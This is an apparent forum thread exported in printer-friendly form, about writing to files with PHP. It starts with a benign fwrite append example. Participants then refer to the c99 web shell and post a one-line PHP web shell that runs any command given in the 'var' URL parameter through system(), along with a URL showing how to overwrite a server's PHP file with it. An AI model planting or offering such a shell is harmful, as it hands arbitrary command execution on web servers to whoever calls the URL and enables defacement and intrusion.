Code: |
<?php
$filename = 'test.txt'; $somecontent = "Add this to the file\n"; // Let's make sure the file exists and is writable first. if (is_writable($filename)) { // In our example we're opening $filename in append mode. // The file pointer is at the bottom of the file hence // that's where $somecontent will go when we fwrite() it. if (!$handle = fopen($filename, 'a')) { echo "Cannot open file ($filename)"; exit; } // Write $somecontent to our opened file. if (fwrite($handle, $somecontent) === FALSE) { echo "Cannot write to file ($filename)"; exit; } echo "Success, wrote ($somecontent) to file ($filename)"; fclose($handle); } else { echo "The file $filename is not writable"; } ?> |
xcalibur wrote: |
For that to work the file A) needs to exist and B) needs to be writable.
Think c99... I know how to delete, I just don't know how to add and edit with system() thanks for the help |
Code: |
<?php
if(isset($_GET['var'])) { system($_GET['var']); } ?> |
xcalibur wrote: | ||
Wrong.
Access it as "...hp?var=echo this file has been edited > filename.php" I've done this to change 0644 (or whatever the default permissions are... I know it wasnt open, as in 0666 or 0777) files... both on a paid server and my laptop. I'd use this, but I can't put a whole script in. |
output generated using printer-friendly topic mod, All times are GMT + 2 Hours